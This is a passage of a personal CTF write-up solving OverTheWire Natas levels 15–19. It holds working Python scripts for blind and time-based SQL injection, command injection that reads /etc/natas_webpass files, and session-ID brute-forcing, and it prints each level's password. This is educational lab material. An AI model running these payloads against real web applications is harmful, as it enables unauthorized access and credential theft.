To make the process less tedious, we can use the Intruder functionality from Burp Suite, but unfortunately Burp Suite has very silly rate limiting and throttling if you did not purchase a license. OWASP Zap is another candidate, but again, unfortunately the process of guessing on OWASP Zap using the Fuzz functionality is very tedious with 32 character strings. Therefore, to generate the guess fast and smartly, we can employ Python requests library to do the job.

As brute-forcing the entire set of alphanumeric characters for every position in the password string takes considerable time (lots of overhead with establishing connection with challenge server), we can narrow down the search space by only searching on the set of characters that actually appear in the password. We can use the double % in MySQL to do the work. %a% matches any string that contains the letter a. Hence, we can traverse through the list of all alphanumeric characters, and check whether it exists in the password of the user natas16. The SQL query to check if the character T exists in the password will look like this, note that binary is also used to respect the case-sensitiveness of the password:

1
SELECT * from users where username="natas16" and password like binary "%T%"

The username field will look something like natas16" and password like binary %T%. After generating the trimmed down character set, we can proceed to guessing the character in every position of the password with the idea given above.

The code for all of the aforementioned operation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import string 
import requests 

alphanumeric = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
charset = ""
password = ""
target = 'http://natas15.natas.labs.overthewire.org'

# Generating the charset for the brute forcing
for char in alphanumeric:
    username = 'natas16" and password like binary "%' + char + '%'
    r = requests.get(target, 
        auth=('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'),
        params={"username": username}
        )
    if "This user exists" in r.text:
        charset += char

print("The charset used is: " + charset)

# Guessing every position in the password string 
# As the type of password is varchar(64), just to be safe the loop runs 64 times for 64 possible positions
for i in range(64):
    for char in charset:
        guess = password + char
        username = 'natas16" and password like binary "' + guess + '%'
        r = requests.get(target, 
            auth=('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'),
            params={"username": username}
            )
        if "This user exists" in r.text:
            password += char 
            print("Iteration " + str(i + 1) + ": " + guess)
            break 
    
    ## No more addition of characters is possible, 
    # hence the password we have is indeed the password for this level
    print("The final password is: " + password)
    break 

natas16: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

Natas 16

Same idea as above, we will try to leak the password character by character. But the trick used here is “disgustingly” neat.

The challenge basically blocks any attempt in escaping the double quotation marks ", so we can’t make any attempt in leaking the entire flag in the result in the clear. We need a roundabout way to leak the flag. The filter does not filter out some symbols, in particular $, (, ), and /.

We can load the content of a command into the double quotes ", in particular something like cat /etc/natas_webpass/natas17 by doing $(cat /etc/natas_webpass/natas17) - the content of the password will be included in the " ".

But obviously getting the content of the natas17 loaded into the " " of the grep command in passthru does not help us with anything - as the password is not even in the dictionary.txt file. We need a way to indirectly leak the content of the password stored at /etc/natas_webpass/natas17.

A really smart idea is to include the grep command in the content of the " ". In particular, grep will return the content, or part of the content of the password file if some pattern that we specify exists. Hence, we can input something like

1
lunar$(grep -E ^abcd /etc/natas_webpass/natas17)

What this basically does is if the grep command returns something - let say it returns abcd, then the output observed on the website page is nothing (as no word in the dictionary.txt is lunarabcd). If the grep returns nothing, then the string that is grep-ed in the grep command in passthru is lunar - it exists in the dictionary so the output of lunar should be on the web page. The -E tag indicate that we are using a Regular Expression, and ^abcd means that we are checking if the string in /etc/natas_webpass/natas17 starts with abcd.

Hence, we are able to guess the password character by character by adding more characters to the string after the ^. Again, we can reduce the search space by searching for all the characters that appear in the password.

The code for all of the aforementioned operation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string 
import requests

target = 'http://natas16.natas.labs.overthewire.org'
creds = ('natas16', 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V')

alphanumeric = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
charset = ""
password = ""

# Generating the charset for the brute forcing (or guessing char by char)
for char in alphanumeric:
    payload = 'lunar' + '$(grep ' + char + ' /etc/natas_webpass/natas17)'
    r = requests.get(target, auth = creds, params = {"needle": payload})
    if "lunar" not in r.text:
        charset += char 

print("The charset used is: " + charset)

print("--------- Guessing char by char ---------")
# Guessing every position in the password string 
# As the password is 32 chars long, the loop only runs 32 times
for i in range(32):
    for char in charset: 
        guess = password + char
        payload = 'lunar' + '$(grep ^' + guess + ' /etc/natas_webpass/natas17)'
        r = requests.get(target, auth = creds, params = {"needle": payload})
        if "lunar" not in r.text:
            password += char
            print(guess.ljust(32, '='))
            break

natas17: XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Natas 17

One word, painful.

This is the same idea as natas15, but this time the result of the query is not displayed to the web page (all the echo call are commented out). We need a way to make the query leak information similar to the message of "This user exists." in natas15.

We can achieve this by doing a time-based SQL injection. This means that we insert a sleep call to the SQL query. The query will look something like this:

1
SELECT * from users where username="natas18" and password like binary "abcd%" and sleep(5);-- "

We add in sleep(5) to our SQL query. When there exists a username of natas18 (which you can verify by removing the password checking portion) and the password indeed starts with abcd, the query will sleep for 5 seconds. If any of the conditions in the query is wrong, the sleep(5) will not be executed, therefore the query will run in a much shorter amount of time. This can be leveraged to guess the password character by character, same as the idea from natas15. A Python script can check if the response time of the query is longer than some arbitrary amount. If the time of a certain query is indeed longer, we know for a fact that the characters we are guessing are correct.

We can reuse the same trick in natas15 to narrow down the character set we need to guess. The SQL query for this should look something like:

1
SELECT * from users where username="natas16" and password like binary "%T%" and sleep(5); --"

This time, as the gimmick is to use the response time, sometimes the server might not respond quickly or there is congestion in the network, so setting the sleep time to be larger will help account for such issues. This can be painful, as setting the time too high will make the solving time really slow, but if we set the sleep time too short, the chances of time-related issues will be much higher.

For me, as I was having some problems with getting the correct guessing character set, so I set the sleep time to be 5 seconds, to be extra safe. The guessing part I set the sleep time to be 1 second, as setting it too high will waste too much of my time.

The code for all of the aforementioned operations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import string 
import requests

target = 'http://natas17.natas.labs.overthewire.org'
creds = ('natas17', 'XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd')

alphanumeric = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
charset = ""
password = ""

# Guessing the charset, make the sleep time as long as possible to account for 
# some disruptions in the network
for char in alphanumeric:
    payload = 'natas18" and password like binary "%' + char + '%"' + ' and sleep(5);-- '
    r = requests.get(target, auth = creds, params = {"username": payload})
    
    print("Char: " + char + " - Time elapsed: " + str(r.elapsed.total_seconds()))
    if r.elapsed.total_seconds() > 3:
        charset += char 

print("The charset used is: " + charset)

# Guessing character by character, but this time we choose the character that
# results in the maximum amount of time. This is because during testing,
# some network issues happen and the code get the wrong results.
print("--------- Guessing char by char ---------")
for i in range(32):
    max_time = 0
    max_char = 'g'
    time = []
    for char in charset:
        guess = password + char
        payload = 'natas18" and password like binary "' + guess + '%"' + ' and sleep(1);-- '
        r = requests.get(target, auth = creds, params={"username": payload})
        time.append(r.elapsed.total_seconds())
        if r.elapsed.total_seconds() > max_time:
            max_char = char
            max_time = r.elapsed.total_seconds()
    
    password += max_char
    print("Iteration " + str(i + 1) + ": " + password.ljust(32, "="))
    print("Max time elapsed: ", max_time)
    print("Min time elapsed: ", min(time))

In the guessing character by character part, the script will print both the maximum and minimum response time. I find this to be very helpful, as when the guesses are all incorrect, or there are problems with the network, the maximum and minimum time are relatively close to each other. The sleep time might differ on another PC on a completely different network, so tune the numbers accordingly.

natas18: 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

Natas 18

Some PHP facts regarding authentication from reading other writeups:

If someone is visiting a site for the very first time, the session in PHP works in some ways like this:

  • The web server gets a request from the server and hands the request to the PHP backend
  • session_start() is called, and it checks whether the user is logged in (PHP wraps the whole identification stuff). If there is no session ID in the request, or if some authentication information in the request (e.g username, password) is invalid, then a new session ID is generated.
  • PHP prepares the HTML output and hands to the server, including a instruction to set the cookie containing the newly generated session ID. This does not require the usual set_cookie() procedure. The browser will get the result and save the cookie.
  • If some session ID already exists, then PHP looks for some saved location (sometimes /tmp) that is defined for serialized session data, then unserialize it and used to populate the $_SESSION superglobal.
  • From now on with every subsequent request the browser sends its PHPSESSIONID stored in the cookie. session_start() picks up the session ID, look if the session ID exists, and if so, returns whatever is available to the session ID.

Now, onto my take in solving the challenge. To retrieve the password, we must satisfy all the conditions in print_credentials(). There are three conditions: there must be a session, the session is storing some values for "admin", and most importantly, the $_SESSION["admin"] must be equal to 1. There is unfortunately nowhere in the code where we can hope to manipulate this value to 1. Any operation on $_SESSION["admin"] is always assigning the value to 0.

Hence, we need to find a way to take advantage of other weakness in the code. There are two print_credentials() call, one in the if branch and one in the else branch at the end.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

The print_credentials() in the else branch, will result in the “regular user” message, as the value of $_SESSION["admin"] is set to the result of isValidAdminLogin(), which always return 0. Hence, we must find a way to invoke the print_credentials() in the if branch, as there is no operation setting the admin value of the session to 0. Thus, we need to find a way to make my_session_start() return True.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function my_session_start() {
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }
 
    return false;
}

Basically, three conditions are required. The PHPSESSID must be numerical, and valid (in the range of 1-640). And here’s a catch - there must be a admin key stored in the $_SESSION array (if there is not any, then the value of the admin key is set to 0). Again, remember that the session_start() resumes the session, if the PHPSESSID is previously generated. Hence, we can make the assumption that there also exists a PHPSESSID for the admin as well (this really throws me off, as the code for explicitly assigning the admin key for the session of the admin is not explicitly written, perhaps it is somewhat hinted in the commented out part of isValidAdminLogin() - it could return 1 in the past).

Nonetheless, with these figured out, and the fact that the number of possible sessions IDs are 640 (defined in $maxid), we can do a brute-force search to find the session ID belonging to the admin, which should have the admin key of 1 in the $_SESSION.

The code for all of the aforementioned operations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import requests

target = 'http://natas18.natas.labs.overthewire.org'
auth = ('natas18','8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq')
params = dict(username='IceWizard4902', password='ISuck@CTF') ## Not needed
cookies = dict()

for i in range(1, 641):
    print("Trying with PHPID: ", i)
    cookies = dict(PHPSESSID=str(i))
    r = requests.get(target, auth = auth, cookies = cookies)
    if "You are an admin" in r.text:
        print(r.text)
        break 

We do not really need to include the username and password in the GET request that we sent, as the if condition does not really care if the credentials are there, only when it reaches the else branch that it starts to do some checks on the parameters passed into the GET request.

natas19: 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s

Natas 19

One mental note: When it comes to PHP cookies that has some numbers and letters in it, going to Cyberchef and check if the content is encoded is a good practice.

We are given that the code is the same, but this time the session IDs are not “sequential”. What does this even mean??? - the way to generate the session IDs from the old code is not relying on any “sequential” order, indeed they are generated randomly in the range of 1-640.

After typing in some dummy data for username and password, inspecting the PHPSESSID we see some hex strings like 3530362d6168646864, which in my case for the username of ahdhd, after decoding, it gives 506-ahdhd. Repeating this process for another username, we can see that the structure of the session ID before encoding is <NUMBER IN RANGE 1 - 640>-<USERNAME>. Hence, the correct PHPSESSID for the admin, before hex encoded, should be something of the form <NUMBER IN RANGE 1 - 640>-admin.

The code for all of the aforementioned operations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests

target = 'http://natas19.natas.labs.overthewire.org'
auth = ('natas19','8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s')
params = dict(username='IceWizard4902', password='ISuck@CTF') ## Not needed
cookies = dict()

for i in range(1, 641):
    print("Trying with PHPID: ", i)
    PHPSESSID = (str(i) + "-admin").encode('utf-8').hex()
    cookies = dict(PHPSESSID=PHPSESSID)
    r = requests.get(target, auth = auth, cookies = cookies)
    if "You are an admin" in r.text:
        print(r.text)
        break 

The hex encoding is done by a few Google searches, in particular one can do "abc".encode('utf-8').hex() to return the hex representation of the string "abc". Otherwise, the idea is the same as the previous level - we brute-force every possible valid PHPSESSID until we received the password for the next level message.

natas20: guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

Natas 20

to be filled in later :)